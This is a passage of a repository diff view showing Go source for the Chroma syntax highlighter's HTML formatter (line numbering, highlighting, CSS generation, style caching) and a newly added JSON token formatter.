// and code in table td's, which make them copy-and-paste friendly.
func LineNumbersInTable(b bool) Option {
return func(f *Formatter) {
f.lineNumbersInTable = b
}
}
// WithLinkableLineNumbers decorates the line numbers HTML elements with an "id"
// attribute so they can be linked.
func WithLinkableLineNumbers(b bool, prefix string) Option {
return func(f *Formatter) {
f.linkableLineNumbers = b
f.lineNumbersIDPrefix = prefix
}
}
// HighlightLines higlights the given line ranges with the Highlight style.
//
// A range is the beginning and ending of a range as 1-based line numbers, inclusive.
func HighlightLines(ranges [][2]int) Option {
return func(f *Formatter) {
f.highlightRanges = ranges
sort.Sort(f.highlightRanges)
}
}
// BaseLineNumber sets the initial number to start line numbering at. Defaults to 1.
func BaseLineNumber(n int) Option {
return func(f *Formatter) {
f.baseLineNumber = n
}
}
// New HTML formatter.
func New(options ...Option) *Formatter {
f := &Formatter{
baseLineNumber: 1,
preWrapper: defaultPreWrapper,
writeCSSComments: true,
}
f.styleCache = newStyleCache(f)
for _, option := range options {
option(f)
}
return f
}
// PreWrapper defines the operations supported in WithPreWrapper.
type PreWrapper interface {
// Start is called to write a start <pre> element.
// The code flag tells whether this block surrounds
// highlighted code. This will be false when surrounding
// line numbers.
Start(code bool, styleAttr string) string
// End is called to write the end </pre> element.
End(code bool) string
}
type preWrapper struct {
start func(code bool, styleAttr string) string
end func(code bool) string
}
func (p preWrapper) Start(code bool, styleAttr string) string {
return p.start(code, styleAttr)
}
func (p preWrapper) End(code bool) string {
return p.end(code)
}
var (
nopPreWrapper = preWrapper{
start: func(code bool, styleAttr string) string { return "" },
end: func(code bool) string { return "" },
}
defaultPreWrapper = preWrapper{
start: func(code bool, styleAttr string) string {
if code {
return fmt.Sprintf(`<pre%s><code>`, styleAttr)
}
return fmt.Sprintf(`<pre%s>`, styleAttr)
},
end: func(code bool) string {
if code {
return `</code></pre>`
}
return `</pre>`
},
}
)
// Formatter that generates HTML.
type Formatter struct {
styleCache *styleCache
standalone bool
prefix string
Classes bool // Exported field to detect when classes are being used
allClasses bool
customCSS map[chroma.TokenType]string
writeCSSComments bool
preWrapper PreWrapper
inlineCode bool
preventSurroundingPre bool
tabWidth int
wrapLongLines bool
lineNumbers bool
lineNumbersInTable bool
linkableLineNumbers bool
lineNumbersIDPrefix string
highlightRanges highlightRanges
baseLineNumber int
}
type highlightRanges [][2]int
func (h highlightRanges) Len() int { return len(h) }
func (h highlightRanges) Swap(i, j int) { h[i], h[j] = h[j], h[i] }
func (h highlightRanges) Less(i, j int) bool { return h[i][0] < h[j][0] }
func (f *Formatter) Format(w io.Writer, style *chroma.Style, iterator chroma.Iterator) (err error) {
return f.writeHTML(w, style, iterator.Tokens())
}
// We deliberately don't use html/template here because it is two orders of magnitude slower (benchmarked).
//
// OTOH we need to be super careful about correct escaping...
func (f *Formatter) writeHTML(w io.Writer, style *chroma.Style, tokens []chroma.Token) (err error) { // nolint: gocyclo
css := f.styleCache.get(style, true)
if f.standalone {
fmt.Fprint(w, "<html>\n")
if f.Classes {
fmt.Fprint(w, "<style type=\"text/css\">\n")
err = f.WriteCSS(w, style)
if err != nil {
return err
}
fmt.Fprintf(w, "body { %s; }\n", css[chroma.Background])
fmt.Fprint(w, "</style>")
}
fmt.Fprintf(w, "<body%s>\n", f.styleAttr(css, chroma.Background))
}
wrapInTable := f.lineNumbers && f.lineNumbersInTable
lines := chroma.SplitTokensIntoLines(tokens)
lineDigits := len(strconv.Itoa(f.baseLineNumber + len(lines) - 1))
highlightIndex := 0
if wrapInTable {
// List line numbers in its own <td>
fmt.Fprintf(w, "<div%s>\n", f.styleAttr(css, chroma.PreWrapper))
fmt.Fprintf(w, "<table%s><tr>", f.styleAttr(css, chroma.LineTable))
fmt.Fprintf(w, "<td%s>\n", f.styleAttr(css, chroma.LineTableTD))
fmt.Fprintf(w, "%s", f.preWrapper.Start(false, f.styleAttr(css, chroma.PreWrapper)))
for index := range lines {
line := f.baseLineNumber + index
highlight, next := f.shouldHighlight(highlightIndex, line)
if next {
highlightIndex++
}
if highlight {
fmt.Fprintf(w, "<span%s>", f.styleAttr(css, chroma.LineHighlight))
}
fmt.Fprintf(w, "<span%s%s>%s\n</span>", f.styleAttr(css, chroma.LineNumbersTable), f.lineIDAttribute(line), f.lineTitleWithLinkIfNeeded(css, lineDigits, line))
if highlight {
fmt.Fprintf(w, "</span>")
}
}
fmt.Fprint(w, f.preWrapper.End(false))
fmt.Fprint(w, "</td>\n")
fmt.Fprintf(w, "<td%s>\n", f.styleAttr(css, chroma.LineTableTD, "width:100%"))
}
fmt.Fprintf(w, "%s", f.preWrapper.Start(true, f.styleAttr(css, chroma.PreWrapper)))
highlightIndex = 0
for index, tokens := range lines {
// 1-based line number.
line := f.baseLineNumber + index
highlight, next := f.shouldHighlight(highlightIndex, line)
if next {
highlightIndex++
}
if !(f.preventSurroundingPre || f.inlineCode) {
// Start of Line
fmt.Fprint(w, `<span`)
if highlight {
// Line + LineHighlight
if f.Classes {
fmt.Fprintf(w, ` class="%s %s"`, f.class(chroma.Line), f.class(chroma.LineHighlight))
} else {
fmt.Fprintf(w, ` style="%s %s"`, css[chroma.Line], css[chroma.LineHighlight])
}
fmt.Fprint(w, `>`)
} else {
fmt.Fprintf(w, "%s>", f.styleAttr(css, chroma.Line))
}
// Line number
if f.lineNumbers && !wrapInTable {
fmt.Fprintf(w, "<span%s%s>%s</span>", f.styleAttr(css, chroma.LineNumbers), f.lineIDAttribute(line), f.lineTitleWithLinkIfNeeded(css, lineDigits, line))
}
fmt.Fprintf(w, `<span%s>`, f.styleAttr(css, chroma.CodeLine))
}
for _, token := range tokens {
html := html.EscapeString(token.String())
attr := f.styleAttr(css, token.Type)
if attr != "" {
html = fmt.Sprintf("<span%s>%s</span>", attr, html)
}
fmt.Fprint(w, html)
}
if !(f.preventSurroundingPre || f.inlineCode) {
fmt.Fprint(w, `</span>`) // End of CodeLine
fmt.Fprint(w, `</span>`) // End of Line
}
}
fmt.Fprintf(w, "%s", f.preWrapper.End(true))
if wrapInTable {
fmt.Fprint(w, "</td></tr></table>\n")
fmt.Fprint(w, "</div>\n")
}
if f.standalone {
fmt.Fprint(w, "\n</body>\n")
fmt.Fprint(w, "</html>\n")
}
return nil
}
func (f *Formatter) lineIDAttribute(line int) string {
if !f.linkableLineNumbers {
return ""
}
return fmt.Sprintf(" id=\"%s\"", f.lineID(line))
}
func (f *Formatter) lineTitleWithLinkIfNeeded(css map[chroma.TokenType]string, lineDigits, line int) string {
title := fmt.Sprintf("%*d", lineDigits, line)
if !f.linkableLineNumbers {
return title
}
return fmt.Sprintf("<a%s href=\"#%s\">%s</a>", f.styleAttr(css, chroma.LineLink), f.lineID(line), title)
}
func (f *Formatter) lineID(line int) string {
return fmt.Sprintf("%s%d", f.lineNumbersIDPrefix, line)
}
func (f *Formatter) shouldHighlight(highlightIndex, line int) (bool, bool) {
next := false
for highlightIndex < len(f.highlightRanges) && line > f.highlightRanges[highlightIndex][1] {
highlightIndex++
next = true
}
if highlightIndex < len(f.highlightRanges) {
hrange := f.highlightRanges[highlightIndex]
if line >= hrange[0] && line <= hrange[1] {
return true, next
}
}
return false, next
}
func (f *Formatter) class(t chroma.TokenType) string {
for t != 0 {
if cls, ok := chroma.StandardTypes[t]; ok {
if cls != "" {
return f.prefix + cls
}
return ""
}
t = t.Parent()
}
if cls := chroma.StandardTypes[t]; cls != "" {
return f.prefix + cls
}
return ""
}
func (f *Formatter) styleAttr(styles map[chroma.TokenType]string, tt chroma.TokenType, extraCSS ...string) string {
if f.Classes {
cls := f.class(tt)
if cls == "" {
return ""
}
return fmt.Sprintf(` class="%s"`, cls)
}
if _, ok := styles[tt]; !ok {
tt = tt.SubCategory()
if _, ok := styles[tt]; !ok {
tt = tt.Category()
if _, ok := styles[tt]; !ok {
return ""
}
}
}
css := []string{styles[tt]}
css = append(css, extraCSS...)
return fmt.Sprintf(` style="%s"`, strings.Join(css, ";"))
}
func (f *Formatter) tabWidthStyle() string {
if f.tabWidth != 0 && f.tabWidth != 8 {
return fmt.Sprintf("-moz-tab-size: %[1]d; -o-tab-size: %[1]d; tab-size: %[1]d;", f.tabWidth)
}
return ""
}
func (f *Formatter) writeCSSRule(w io.Writer, comment string, selector string, styles string) error {
if styles == "" {
return nil
}
if f.writeCSSComments && comment != "" {
if _, err := fmt.Fprintf(w, "/* %s */ ", comment); err != nil {
return err
}
}
if _, err := fmt.Fprintf(w, "%s { %s }\n", selector, styles); err != nil {
return err
}
return nil
}
// WriteCSS writes CSS style definitions (without any surrounding HTML).
func (f *Formatter) WriteCSS(w io.Writer, style *chroma.Style) error {
css := f.styleCache.get(style, false)
// Special-case background as it is mapped to the outer ".chroma" class.
if err := f.writeCSSRule(w, chroma.Background.String(), fmt.Sprintf(".%sbg", f.prefix), css[chroma.Background]); err != nil {
return err
}
// Special-case PreWrapper as it is the ".chroma" class.
if err := f.writeCSSRule(w, chroma.PreWrapper.String(), fmt.Sprintf(".%schroma", f.prefix), css[chroma.PreWrapper]); err != nil {
return err
}
// Special-case code column of table to expand width.
if f.lineNumbers && f.lineNumbersInTable {
selector := fmt.Sprintf(".%schroma .%s:last-child", f.prefix, f.class(chroma.LineTableTD))
if err := f.writeCSSRule(w, chroma.LineTableTD.String(), selector, "width: 100%;"); err != nil {
return err
}
}
// Special-case line number highlighting when targeted.
if f.lineNumbers || f.lineNumbersInTable {
targetedLineCSS := StyleEntryToCSS(style.Get(chroma.LineHighlight))
for _, tt := range []chroma.TokenType{chroma.LineNumbers, chroma.LineNumbersTable} {
comment := fmt.Sprintf("%s targeted by URL anchor", tt)
selector := fmt.Sprintf(".%schroma .%s:target", f.prefix, f.class(tt))
if err := f.writeCSSRule(w, comment, selector, targetedLineCSS); err != nil {
return err
}
}
}
tts := []int{}
for tt := range css {
tts = append(tts, int(tt))
}
sort.Ints(tts)
for _, ti := range tts {
tt := chroma.TokenType(ti)
switch tt {
case chroma.Background, chroma.PreWrapper:
continue
}
class := f.class(tt)
if class == "" {
continue
}
if err := f.writeCSSRule(w, tt.String(), fmt.Sprintf(".%schroma .%s", f.prefix, class), css[tt]); err != nil {
return err
}
}
return nil
}
func (f *Formatter) styleToCSS(style *chroma.Style) map[chroma.TokenType]string {
classes := map[chroma.TokenType]string{}
bg := style.Get(chroma.Background)
// Convert the style.
for t := range chroma.StandardTypes {
entry := style.Get(t)
if t != chroma.Background {
entry = entry.Sub(bg)
}
// Inherit from custom CSS provided by user
tokenCategory := t.Category()
tokenSubCategory := t.SubCategory()
if t != tokenCategory {
if css, ok := f.customCSS[tokenCategory]; ok {
classes[t] = css
}
}
if tokenCategory != tokenSubCategory {
if css, ok := f.customCSS[tokenSubCategory]; ok {
classes[t] += css
}
}
// Add custom CSS provided by user
if css, ok := f.customCSS[t]; ok {
classes[t] += css
}
if !f.allClasses && entry.IsZero() && classes[t] == `` {
continue
}
styleEntryCSS := StyleEntryToCSS(entry)
if styleEntryCSS != `` && classes[t] != `` {
styleEntryCSS += `;`
}
classes[t] = styleEntryCSS + classes[t]
}
classes[chroma.Background] += `;` + f.tabWidthStyle()
classes[chroma.PreWrapper] += classes[chroma.Background]
classes[chroma.PreWrapper] += ` -webkit-text-size-adjust: none;`
// Make PreWrapper a grid to show highlight style with full width.
if len(f.highlightRanges) > 0 && f.customCSS[chroma.PreWrapper] == `` {
classes[chroma.PreWrapper] += `display: grid;`
}
// Make PreWrapper wrap long lines.
if f.wrapLongLines {
classes[chroma.PreWrapper] += `white-space: pre-wrap; word-break: break-word;`
}
lineNumbersStyle := `white-space: pre; -webkit-user-select: none; user-select: none; margin-right: 0.4em; padding: 0 0.4em 0 0.4em;`
// All rules begin with default rules followed by user provided rules
classes[chroma.Line] = `display: flex;` + classes[chroma.Line]
classes[chroma.LineNumbers] = lineNumbersStyle + classes[chroma.LineNumbers]
classes[chroma.LineNumbersTable] = lineNumbersStyle + classes[chroma.LineNumbersTable]
classes[chroma.LineTable] = "border-spacing: 0; padding: 0; margin: 0; border: 0;" + classes[chroma.LineTable]
classes[chroma.LineTableTD] = "vertical-align: top; padding: 0; margin: 0; border: 0;" + classes[chroma.LineTableTD]
classes[chroma.LineLink] = "outline: none; text-decoration: none; color: inherit" + classes[chroma.LineLink]
return classes
}
// StyleEntryToCSS converts a chroma.StyleEntry to CSS attributes.
func StyleEntryToCSS(e chroma.StyleEntry) string {
styles := []string{}
if e.Colour.IsSet() {
styles = append(styles, "color: "+e.Colour.String())
}
if e.Background.IsSet() {
styles = append(styles, "background-color: "+e.Background.String())
}
if e.Bold == chroma.Yes {
styles = append(styles, "font-weight: bold")
}
if e.Italic == chroma.Yes {
styles = append(styles, "font-style: italic")
}
if e.Underline == chroma.Yes {
styles = append(styles, "text-decoration: underline")
}
return strings.Join(styles, "; ")
}
// Compress CSS attributes - remove spaces, transform 6-digit colours to 3.
func compressStyle(s string) string {
parts := strings.Split(s, ";")
out := []string{}
for _, p := range parts {
p = strings.Join(strings.Fields(p), " ")
p = strings.Replace(p, ": ", ":", 1)
if strings.Contains(p, "#") {
c := p[len(p)-6:]
if c[0] == c[1] && c[2] == c[3] && c[4] == c[5] {
p = p[:len(p)-6] + c[0:1] + c[2:3] + c[4:5]
}
}
out = append(out, p)
}
return strings.Join(out, ";")
}
const styleCacheLimit = 32
type styleCacheEntry struct {
style *chroma.Style
compressed bool
cache map[chroma.TokenType]string
}
type styleCache struct {
mu sync.Mutex
// LRU cache of compiled (and possibly compressed) styles. This is a slice
// because the cache size is small, and a slice is sufficiently fast for
// small N.
cache []styleCacheEntry
f *Formatter
}
func newStyleCache(f *Formatter) *styleCache {
return &styleCache{f: f}
}
func (l *styleCache) get(style *chroma.Style, compress bool) map[chroma.TokenType]string {
l.mu.Lock()
defer l.mu.Unlock()
// Look for an existing entry.
for i := len(l.cache) - 1; i >= 0; i-- {
entry := l.cache[i]
if entry.style == style && entry.compressed == compress {
// Top of the cache, no need to adjust the order.
if i == len(l.cache)-1 {
return entry.cache
}
// Move this entry to the end of the LRU
copy(l.cache[i:], l.cache[i+1:])
l.cache[len(l.cache)-1] = entry
return entry.cache
}
}
// No entry, create one.
cached := l.f.styleToCSS(style)
if !l.f.Classes {
for t, style := range cached {
cached[t] = compressStyle(style)
}
}
if compress {
for t, style := range cached {
cached[t] = compressStyle(style)
}
}
// Evict the oldest entry.
if len(l.cache) >= styleCacheLimit {
l.cache = l.cache[0:copy(l.cache, l.cache[1:])]
}
l.cache = append(l.cache, styleCacheEntry{style: style, cache: cached, compressed: compress})
return cached
}
+39
View File
@@ -0,0 +1,39 @@
package formatters
import (
"encoding/json"
"fmt"
"io"
"github.com/alecthomas/chroma/v2"
)
// JSON formatter outputs the raw token structures as JSON.
var JSON = Register("json", chroma.FormatterFunc(func(w io.Writer, s *chroma.Style, it chroma.Iterator) error {
if _, err := fmt.Fprintln(w, "["); err != nil {
return err
}
i := 0
for t := it(); t != chroma.EOF; t = it() {
if i > 0 {
if _, err := fmt.Fprintln(w, ","); err != nil {
return err
}
}
i++
bytes, err := json.Marshal(t)
if err != nil {
return err
}
if _, err := fmt.Fprint(w, " "+string(bytes)); err != nil {
return err
}
}
if _, err := fmt.Fprintln(w); err != nil {
return err
}
if _, err := fmt.Fprintln(w, "]"); err != nil {
return err
}
return nil
}))
Loaded 100 of 486 files, more files were not shown because too many files have changed in this diff. Show more